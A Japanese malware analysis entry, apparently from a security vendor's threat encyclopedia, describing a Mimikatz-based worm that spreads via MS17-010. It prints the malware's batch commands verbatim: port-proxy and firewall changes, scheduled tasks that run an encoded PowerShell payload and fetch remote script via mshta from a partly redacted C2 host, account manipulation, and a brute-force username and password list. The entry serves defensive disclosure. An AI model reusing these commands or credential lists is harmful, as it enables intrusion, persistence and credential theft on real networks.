Trojan.Win32.MIMIKATZ.ADT

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、特定の脆弱性を利用した感染活動を実行します。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のファイルを作成します。

• %Temp%\mkatz.ini - Mimikatz script output

(註：%Temp%フォルダは、一時的にファイルが保存されるフォルダで、いずれのオペレーティングシステム(OS)でも通常、 "C:\Windows\Temp" です。.)

マルウェアは、以下のファイルを作成し実行します。

• %Temp%\m.ps1 - obfuscated Mimikatz PowerShell script

(註：%Temp%フォルダは、一時的にファイルが保存されるフォルダで、いずれのオペレーティングシステム(OS)でも通常、 "C:\Windows\Temp" です。.)

その他

マルウェアは、以下の脆弱性を利用して感染活動を実行します。

• Microsoft Windows SMB Server (MS17-010) Vulnerability

＜補足＞
インストール

マルウェアは、以下のファイルを作成します。

• %Temp%\mkatz.ini - Mimikatz スクリプトの出力

(註：%Temp%フォルダは、一時的にファイルが保存されるフォルダで、いずれのオペレーティングシステム(OS)でも通常、 "C:\Windows\Temp" です。)

マルウェアは、以下のファイルを作成し実行します。

• %Temp%\m.ps1 - 難読化されたMimikatz のパワーシェルスクリプト

(註：%Temp%フォルダは、一時的にファイルが保存されるフォルダで、いずれのオペレーティングシステム(OS)でも通常、 "C:\Windows\Temp" です。)

その他

マルウェアは、以下を実行します。

• マルウェアは、以下のWebサイトに接続して、スクリプトをダウンロードして実行します。
  • http://v.{BLOCKED}h.com/v{ユーザドメイン}
  • http://w.{BLOCKED}h.com/page.html?p{コンピュータ名}
• ポート60124は、Mutexとして機能し、1つのインスタンスのみ実行します。
• マルウェアは、ユーザ"k8h3d"が存在する場合、削除します。その後、マルウェアは、感染コンピュータまたは脆弱なコンピュータ上に同じユーザ名を作成します。
• マルウェアは、ローカルネットワークをスキャンして、開いているポート445を検索します。
  マルウェアは、ポート445が開いているターゲットを見つけた場合、MS17-010の脆弱性を悪用し、以下のコマンドを実行します。
  • 以下のいずれかのファイルをターゲットに送信し、％System Root％\ installed.exeとして保存
    • %Windows%\System32\svhost.exe
    • %Windows%\SysWOW64\svhost.exe
    • %Windows%\System32\drivers\svchost.exe
    • %Windows%\SysWOW64\drivers\svchost.exe
  • ファイル％Temp％\ svchost.exeまたは％Temp％\ svvhost.exeをターゲットに送信し、％Temp％\ svchost.exeとして保存
  • 以下のffコマンドを含む％Temp％\ p.batという名前のバッチファイルを作成
    • netsh interface ipv6 install
    • netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53
    • netsh firewall add portopening tcp 65531 DNSS2
    • netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53
    • if exist %System%/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetooths" /tr "powershell -ep bypass -e {base-64 string}" /F) else start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&(schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.{BLOCKED}h.com/page.html?p{Computer Name}"&schtasks /run /TN Autocheck)
    • net start Ddriver
    • for /f %i in (\'tasklist ^| find /c /i "cmd.exe"\') do set s=%i
    • if gtr 10 (shutdown /r)
    • net user k8h3d /del
    • del %Temp%\p.bat
  • 送信したファイルをターゲットのコンピュータで実行

マルウェアは、以下の脆弱性を利用して感染活動を実行します。

• Microsoft Windows SMB サーバの脆弱性 (MS17-010)

マルウェアは、以下のスケジュールタスクを追加します。

• タスク名: DnsScan
  実行するタスク: %Temp%\svchost.exe
• タスク名: \Microsoft\windows\Bluetooths
  実行するタスク: powershell -ep bypass -e {base-64 文字列}
• タスク名: Autocheck
  実行するタスク: "cmd.exe /c mshta http://w.{BLOCKED}h.com/page.html?p%COMPUTERNAME%"
• タスク名: Autoscan
  実行するタスク: %Temp%\svchost.exe

注意:

• http://v.{BLOCKED}h.com/v{ユーザドメイン}
• http://w.{BLOCKED}h.com/page.html?p{コンピュータ名}

ただし、情報公開日現在、上記のWebサイトにはアクセスできません。

マルウェアは、ターゲットのコンピュータへのログインを試みるため、以下のユーザ名とパスワードを使用します。

• ユーザ名:
• Administrator
• user
• admin
• test
• k8h3d


• パスワード:
• 123456
• password
• qwerty
• 12345678
• 123456789
• 123
• 1234
• 123123
• 12345
• 12345678
• 123123123
• 1234567890
• 88888888
• 111111111
• 0
• 111111
• 112233
• 123321
• 654321
• 666666
• 888888
• a123456
• 123456a
• 5201314
• 1qaz2wsx
• 1q2w3e4r
• qwe123
• 123qwe
• a123456789
• 123456789a
• baseball
• dragon
• football
• iloveyou
• password
• sunshine
• princess
• welcome
• abc123
• monkey
• !@#$%^&*
• charlie
• aa123456
• k8d3j9SjfS7

ファイル％Temp％\ mkatz.iniは、ドメイン、ユーザ名またはパスワードを取得するために解析されます。これらは、感染コンピュータへのログインの試行にも使用されます。